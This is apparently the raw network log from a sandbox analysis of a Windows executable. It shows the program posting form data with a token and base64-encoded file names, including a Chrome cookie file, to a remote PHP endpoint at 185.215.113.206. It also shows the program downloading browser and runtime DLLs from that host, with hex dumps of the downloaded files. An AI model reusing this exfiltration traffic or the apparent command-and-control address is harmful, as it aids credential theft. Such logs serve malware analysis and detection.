00 00 30 0d 00 a8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 0d 00 18 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 20 0d 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELc!&@a0: 0@< .text%&`P`.data\|'@(,@`.rdatapDpFT@`@.bss(`.edata,@0@.idata@0.CRT,@0.tls @0.rsrc0@0.reloc<@>@0B/48@@B/19R"@B/31]'`(@B/45-.@B/57\B@0B/70
Dec 8, 2024 00:48:13.990230083 CET	1236	IN	Data Raw: 00 00 23 03 00 00 00 d0 0e 00 00 04 00 00 00 4e 0e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 38 31 00 00 00 00 00 73 3a 00 00 00 e0 0e 00 00 3c 00 00 00 52 0e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 39 32 00 00 00 00 00 Data Ascii: #N@B/81s:<R@B/92P @B

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.7	49738	185.215.113.206	80	2688	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Dec 8, 2024 00:48:23.160934925 CET	621	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----GHDAAKJEGCFCAKEBKJJE Host: 185.215.113.206 Content-Length: 419 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 47 48 44 41 41 4b 4a 45 47 43 46 43 41 4b 45 42 4b 4a 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 64 64 37 36 34 39 64 62 64 33 33 65 35 37 32 62 39 32 30 31 38 32 34 64 39 61 32 61 32 34 30 31 63 38 32 65 39 37 30 64 63 31 34 36 32 63 35 34 32 39 33 39 37 32 35 65 62 31 61 37 33 30 61 35 32 35 62 30 63 37 62 62 0d 0a 2d 2d 2d 2d 2d 2d 47 48 44 41 41 4b 4a 45 47 43 46 43 41 4b 45 42 4b 4a 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 59 32 39 76 61 32 6c 6c 63 31 78 48 62 32 39 6e 62 47 55 67 51 32 68 79 62 32 31 6c 58 79 35 30 65 48 51 3d 0d 0a 2d 2d 2d 2d 2d 2d 47 48 44 41 41 4b 4a 45 47 43 46 43 41 4b 45 42 4b 4a 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 [TRUNCATED] Data Ascii: ------GHDAAKJEGCFCAKEBKJJEContent-Disposition: form-data; name="token"dd7649dbd33e572b9201824d9a2a2401c82e970dc1462c542939725eb1a730a525b0c7bb------GHDAAKJEGCFCAKEBKJJEContent-Disposition: form-data; name="file_name"Y29va2llc1xHb29nbGUgQ2hyb21lXy50eHQ=------GHDAAKJEGCFCAKEBKJJEContent-Disposition: form-data; name="file"eyJpZCI6MSwicmVzdWx0Ijp7ImNvb2tpZXMiOltdfX0=------GHDAAKJEGCFCAKEBKJJE--
Dec 8, 2024 00:48:24.998258114 CET	203	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 23:48:24 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Dec 8, 2024 00:48:25.091200113 CET	565	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----IDBFHJDAAFBAKEBGIJKK Host: 185.215.113.206 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 49 44 42 46 48 4a 44 41 41 46 42 41 4b 45 42 47 49 4a 4b 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 64 64 37 36 34 39 64 62 64 33 33 65 35 37 32 62 39 32 30 31 38 32 34 64 39 61 32 61 32 34 30 31 63 38 32 65 39 37 30 64 63 31 34 36 32 63 35 34 32 39 33 39 37 32 35 65 62 31 61 37 33 30 61 35 32 35 62 30 63 37 62 62 0d 0a 2d 2d 2d 2d 2d 2d 49 44 42 46 48 4a 44 41 41 46 42 41 4b 45 42 47 49 4a 4b 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 49 44 42 46 48 4a 44 41 41 46 42 41 4b 45 42 47 49 4a 4b 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------IDBFHJDAAFBAKEBGIJKKContent-Disposition: form-data; name="token"dd7649dbd33e572b9201824d9a2a2401c82e970dc1462c542939725eb1a730a525b0c7bb------IDBFHJDAAFBAKEBGIJKKContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------IDBFHJDAAFBAKEBGIJKKContent-Disposition: form-data; name="file"------IDBFHJDAAFBAKEBGIJKK--
Dec 8, 2024 00:48:26.032804012 CET	202	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 23:48:25 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.7	49784	185.215.113.206	80	2688	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Dec 8, 2024 00:48:37.710997105 CET	565	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----IJDBGDGCGDAKFIDGIDBF Host: 185.215.113.206 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 49 4a 44 42 47 44 47 43 47 44 41 4b 46 49 44 47 49 44 42 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 64 64 37 36 34 39 64 62 64 33 33 65 35 37 32 62 39 32 30 31 38 32 34 64 39 61 32 61 32 34 30 31 63 38 32 65 39 37 30 64 63 31 34 36 32 63 35 34 32 39 33 39 37 32 35 65 62 31 61 37 33 30 61 35 32 35 62 30 63 37 62 62 0d 0a 2d 2d 2d 2d 2d 2d 49 4a 44 42 47 44 47 43 47 44 41 4b 46 49 44 47 49 44 42 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 49 4a 44 42 47 44 47 43 47 44 41 4b 46 49 44 47 49 44 42 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------IJDBGDGCGDAKFIDGIDBFContent-Disposition: form-data; name="token"dd7649dbd33e572b9201824d9a2a2401c82e970dc1462c542939725eb1a730a525b0c7bb------IJDBGDGCGDAKFIDGIDBFContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------IJDBGDGCGDAKFIDGIDBFContent-Disposition: form-data; name="file"------IJDBGDGCGDAKFIDGIDBF--
Dec 8, 2024 00:48:39.533468008 CET	203	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 23:48:38 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Dec 8, 2024 00:48:39.980640888 CET	94	OUT	GET /68b591d6548ec281/freebl3.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Dec 8, 2024 00:48:40.417332888 CET	1236	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 23:48:40 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "a7550-5e7e950876500" Accept-Ranges: bytes Content-Length: 685392 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 0e 08 00 00 34 02 00 00 00 00 00 70 12 08 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 d0 0a 00 00 04 00 00 cb fd 0a 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 48 1c 0a 00 53 00 00 00 9b 1c 0a 00 c8 00 00 00 00 90 0a 00 78 03 00 00 00 00 00 00 00 00 00 00 00 46 0a 00 50 2f 00 00 00 a0 0a 00 f0 23 00 00 94 16 0a 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 20 08 00 a0 00 00 00 00 00 00 00 00 00 00 00 a4 1e [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!4p@AHSxFP/# @.text `.rdata @@.data<F0@.00cfg@@.rsrcx@@.reloc#$"@B
Dec 8, 2024 00:48:40.417423964 CET	124	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 55 89 e5 68 4f 01 00 00 e8 f2 0b 08 00 83 c4 04 85 c0 74 0e 89 80 38 01 00 00 83 c0 0f 83 e0 f0 5d c3 68 13 e0 ff ff e8 c7 0b Data Ascii: UhOt8]h1]UWVEtu}U
Dec 8, 2024 00:48:40.417584896 CET	1236	IN	Data Raw: 10 8b 4d 0c 85 ff 74 22 f2 0f 10 07 f2 0f 11 80 30 01 00 00 eb 28 68 05 e0 ff ff e8 7f 0b 08 00 83 c4 04 b8 ff ff ff ff eb 26 c7 80 34 01 00 00 a6 a6 a6 a6 c7 80 30 01 00 00 a6 a6 a6 a6 6a 10 56 6a 00 6a 00 52 51 50 e8 3f 96 06 00 83 c4 1c 5e 5f Data Ascii: Mt"0(h&40jVjjRQP?^_]USWVhO?t081tkEU]Mt0%h1<40jRjjPQWt8^
Dec 8, 2024 00:48:40.417678118 CET	1236	IN	Data Raw: 0f 84 8d 02 00 00 89 54 24 34 89 44 24 30 89 f8 83 e0 f8 50 e8 88 06 08 00 83 c4 04 85 c0 0f 84 7c 02 00 00 89 c3 89 f8 c1 ef 03 8d 4f ff 89 4c 24 38 50 56 53 e8 27 07 08 00 83 c4 0c f2 0f 10 03 f2 0f 11 44 24 40 8d 04 3f 83 c0 fe 8d 04 40 89 c1 Data Ascii: T$4D$0P\|OL$8PVS'D$@?@L$L$D$D$D$$D$ 11\$($D$T$L$D$D$t$8D$D$@L$T$\|$ L$$
Dec 8, 2024 00:48:40.417692900 CET	1236	IN	Data Raw: 1c ff 75 18 53 50 56 8d 45 e0 50 e8 b4 fa ff ff 83 c4 18 89 c7 85 ff 0f 85 6f 01 00 00 b9 01 e0 ff ff 39 5d dc 0f 85 53 01 00 00 8b 55 e0 0f ca b8 a6 59 59 a6 29 d0 81 c2 5a a6 a6 59 09 c2 0f b6 45 e4 0f b6 4d e5 c1 e0 10 c1 e1 08 09 c1 0f b6 45 Data Ascii: uSPVEPo9]SUYY)ZYEME]M)19DEEE\|0)U\|2!!)]\|3)\|3!)}\|7
Dec 8, 2024 00:48:40.417913914 CET	1236	IN	Data Raw: ca 74 3c 66 2e 0f 1f 84 00 00 00 00 00 0f 1f 00 0f b6 0c 07 30 4c 06 0c 0f b6 0c 07 30 8c 06 8c 00 00 00 0f b6 4c 07 01 30 4c 06 0d 0f b6 4c 07 01 30 8c 06 8d 00 00 00 83 c0 02 39 c2 75 d1 8b 4d f0 31 e9 e8 37 fb 07 00 89 d8 83 c4 4c 5e 5f 5b 5d Data Ascii: t<f.0L0L0LL09uM17L^_[]USWVh1tlEGGHt1Uuut,tGHjSGW:G^_[]U
Dec 8, 2024 00:48:40.417946100 CET	1236	IN	Data Raw: 00 b8 02 00 00 00 66 0f 1f 44 00 00 0f b6 54 06 ff 0f b6 f9 01 d7 0f b6 8c 05 ef fe ff ff 01 f9 0f b6 f9 0f b6 1c 3e 88 5c 06 ff 88 14 3e 3d 00 01 00 00 74 25 0f b6 14 06 0f b6 f9 01 d7 0f b6 8c 05 f0 fe ff ff 01 f9 0f b6 f9 0f b6 1c 3e 88 1c 06 Data Ascii: fDT>\>=t%>>f1hM1)^_[]USWV01Eh1E=s hkhVo
Dec 8, 2024 00:48:40.417972088 CET	1236	IN	Data Raw: 88 3c 0a 8b 55 f0 88 24 32 00 e7 0f b6 f7 8b 4d 10 8a 61 01 8b 4d f0 32 24 31 8b 4d d4 8b 55 e4 88 62 01 83 f9 02 75 2d 88 5d e8 89 45 ec eb 6e 85 d2 0f 84 7e 02 00 00 8b 75 10 0f b6 0e 83 fa 03 0f 85 81 02 00 00 89 4d e0 8b 4d ec 8a 55 e8 e9 96 Data Ascii: <U$2MaM2$1MUbu-]En~uMMUEEM]}7}E0MQM2MEP]EU+UUU9)]}1EEMA
Dec 8, 2024 00:48:40.417987108 CET	1236	IN	Data Raw: 07 8b 45 f0 88 14 18 00 d6 0f b6 c6 8b 55 f0 0f b6 04 02 c1 e0 08 03 45 e0 8b 55 e8 01 f2 83 c2 03 0f b6 d2 8b 75 f0 0f b6 1c 16 00 d9 0f b6 f1 8b 7d f0 8a 3c 37 8b 7d f0 88 3c 17 8b 55 f0 88 1c 32 00 df 0f b6 d7 8b 75 f0 0f b6 34 16 c1 e6 10 09 Data Ascii: EUEUu}<7}<U2u4EUU}4}4E]Uu3EUEu}U}]E]E8
Dec 8, 2024 00:48:40.418433905 CET	1236	IN	Data Raw: 74 ff ff ff 8b 53 18 89 95 e4 fe ff ff 01 55 d4 8b 53 1c 89 95 e8 fe ff ff 11 d1 8b 55 d4 8b 9d 60 ff ff ff 01 da 89 55 d4 11 f1 89 4d cc 31 c8 31 d7 89 fa 0f a4 c2 10 89 55 a4 0f ac c7 10 89 bd 54 ff ff ff 8b 45 dc 01 f8 89 45 dc 8b 4d d8 11 d1 Data Ascii: tSUSU`UM11UTEEMM11E`tS LAS$AA0A4}qT1QP1kA+]rn<}3
Dec 8, 2024 00:48:40.426044941 CET	1236	IN	Data Raw: f1 10 89 4d a4 8b 75 e8 01 ce 89 75 e8 89 f9 11 d1 89 4d c0 31 c8 89 d9 31 f1 89 c2 0f a4 ca 01 89 55 90 0f a4 c1 01 89 4d 80 8b 95 74 ff ff ff 8b 42 70 89 85 54 ff ff ff 8b 4d d0 01 c1 8b 52 74 89 95 64 ff ff ff 8b 45 e4 11 d0 8b 9d 70 ff ff ff Data Ascii: MuuM11UMtBpTMRtdEpMxEU1U}1}EEMM11tJ\|Pzxt]U]U}1M1xM}}MM11
Dec 8, 2024 00:48:41.846580982 CET	94	OUT	GET /68b591d6548ec281/mozglue.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Dec 8, 2024 00:48:42.289014101 CET	1236	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 23:48:42 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "94750-5e7e950876500" Accept-Ranges: bytes Content-Length: 608080 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 a4 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 b6 07 00 00 5e 01 00 00 00 00 00 c0 b9 03 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 80 09 00 00 04 00 00 6a aa 09 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 01 60 08 00 e3 57 00 00 e4 b7 08 00 2c 01 00 00 00 20 09 00 b0 08 00 00 00 00 00 00 00 00 00 00 00 18 09 00 50 2f 00 00 00 30 09 00 d8 41 00 00 14 53 08 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 bc f8 07 00 18 00 00 00 68 d0 07 00 a0 00 00 00 00 00 00 00 00 00 00 00 ec bc [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!^j@A`W, P/0AShZ.texta `.rdata@@.dataD@.00cfg@@.tls@.rsrc @@.relocA0B@B
Dec 8, 2024 00:48:44.189218044 CET	95	OUT	GET /68b591d6548ec281/msvcp140.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Dec 8, 2024 00:48:44.628722906 CET	1236	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 23:48:44 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "6dde8-5e7e950876500" Accept-Ranges: bytes Content-Length: 450024 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 d9 93 31 43 9d f2 5f 10 9d f2 5f 10 9d f2 5f 10 29 6e b0 10 9f f2 5f 10 94 8a cc 10 8b f2 5f 10 9d f2 5e 10 22 f2 5f 10 cf 9a 5e 11 9e f2 5f 10 cf 9a 5c 11 95 f2 5f 10 cf 9a 5b 11 d3 f2 5f 10 cf 9a 5a 11 d1 f2 5f 10 cf 9a 5f 11 9c f2 5f 10 cf 9a a0 10 9c f2 5f 10 cf 9a 5d 11 9c f2 5f 10 52 69 63 68 9d f2 5f 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 82 ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 28 06 00 00 82 00 00 00 00 00 00 60 d9 03 00 00 10 00 00 00 40 06 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 f0 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$1C___)n__^"_^_\_[_Z____]_Rich_PEL0]"!(`@,@AgrA=`x8w@pc@.text&( `.dataH)@,@.idatapD@@.didat4X@.rsrcZ@@.reloc=>^@B
Dec 8, 2024 00:48:46.204782009 CET	91	OUT	GET /68b591d6548ec281/nss3.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Dec 8, 2024 00:48:46.641351938 CET	1236	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 23:48:46 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "1f3950-5e7e950876500" Accept-Ranges: bytes Content-Length: 2046288 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 d0 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 d8 19 00 00 2e 05 00 00 00 00 00 60 a3 14 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 70 1f 00 00 04 00 00 6c 2d 20 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e4 26 1d 00 fa 9d 00 00 de c4 1d 00 40 01 00 00 00 50 1e 00 78 03 00 00 00 00 00 00 00 00 00 00 00 0a 1f 00 50 2f 00 00 00 60 1e 00 5c 08 01 00 b0 01 1d 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 f0 19 00 a0 00 00 00 00 00 00 00 00 00 00 00 7c ca [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!.`pl- @A&@PxP/`\\|\&@.text `.rdatal@@.dataDR.@.00cfg@@@.rsrcxP@@.reloc\`@B
Dec 8, 2024 00:48:53.291251898 CET	95	OUT	GET /68b591d6548ec281/softokn3.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Dec 8, 2024 00:48:53.727663040 CET	1236	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 23:48:53 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "3ef50-5e7e950876500" Accept-Ranges: bytes Content-Length: 257872 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 cc 02 00 00 f0 00 00 00 00 00 00 50 cf 02 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 00 04 00 00 04 00 00 53 67 04 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 44 76 03 00 53 01 00 00 97 77 03 00 f0 00 00 00 00 b0 03 00 80 03 00 00 00 00 00 00 00 00 00 00 00 c0 03 00 50 2f 00 00 00 c0 03 00 c8 35 00 00 38 71 03 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 e0 02 00 a0 00 00 00 00 00 00 00 00 00 00 00 14 7b [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!PSg@ADvSwP/58q{.text& `.rdata@@.data\|@.00cfg@@.rsrc@@.reloc56@B
Dec 8, 2024 00:48:54.684623957 CET	99	OUT	GET /68b591d6548ec281/vcruntime140.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Dec 8, 2024 00:48:55.121499062 CET	1236	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 23:48:54 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "13bf0-5e7e950876500" Accept-Ranges: bytes Content-Length: 80880 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 c0 c5 e4 d5 84 a4 8a 86 84 a4 8a 86 84 a4 8a 86 30 38 65 86 86 a4 8a 86 8d dc 19 86 8f a4 8a 86 84 a4 8b 86 ac a4 8a 86 d6 cc 89 87 97 a4 8a 86 d6 cc 8e 87 90 a4 8a 86 d6 cc 8f 87 9f a4 8a 86 d6 cc 8a 87 85 a4 8a 86 d6 cc 75 86 85 a4 8a 86 d6 cc 88 87 85 a4 8a 86 52 69 63 68 84 a4 8a 86 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 7c ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 de 00 00 00 1c 00 00 00 00 00 00 90 d9 00 00 00 10 00 00 00 f0 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 30 01 00 00 04 00 00 d4 6d 01 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$08euRichPEL\|0]"!0m@AA 8 @.text `.data@.idata@@.rsrc@@.reloc @B
Dec 8, 2024 00:48:55.961159945 CET	203	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----DGIJECGDGCBKECAKFBGC Host: 185.215.113.206 Content-Length: 1067 Connection: Keep-Alive Cache-Control: no-cache
Dec 8, 2024 00:48:56.888470888 CET	202	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 23:48:56 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=93 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Dec 8, 2024 00:48:56.931895971 CET	469	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----HJDAFIEHIEGDHIDGDGHD Host: 185.215.113.206 Content-Length: 267 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 48 4a 44 41 46 49 45 48 49 45 47 44 48 49 44 47 44 47 48 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 64 64 37 36 34 39 64 62 64 33 33 65 35 37 32 62 39 32 30 31 38 32 34 64 39 61 32 61 32 34 30 31 63 38 32 65 39 37 30 64 63 31 34 36 32 63 35 34 32 39 33 39 37 32 35 65 62 31 61 37 33 30 61 35 32 35 62 30 63 37 62 62 0d 0a 2d 2d 2d 2d 2d 2d 48 4a 44 41 46 49 45 48 49 45 47 44 48 49 44 47 44 47 48 44 0d 0a 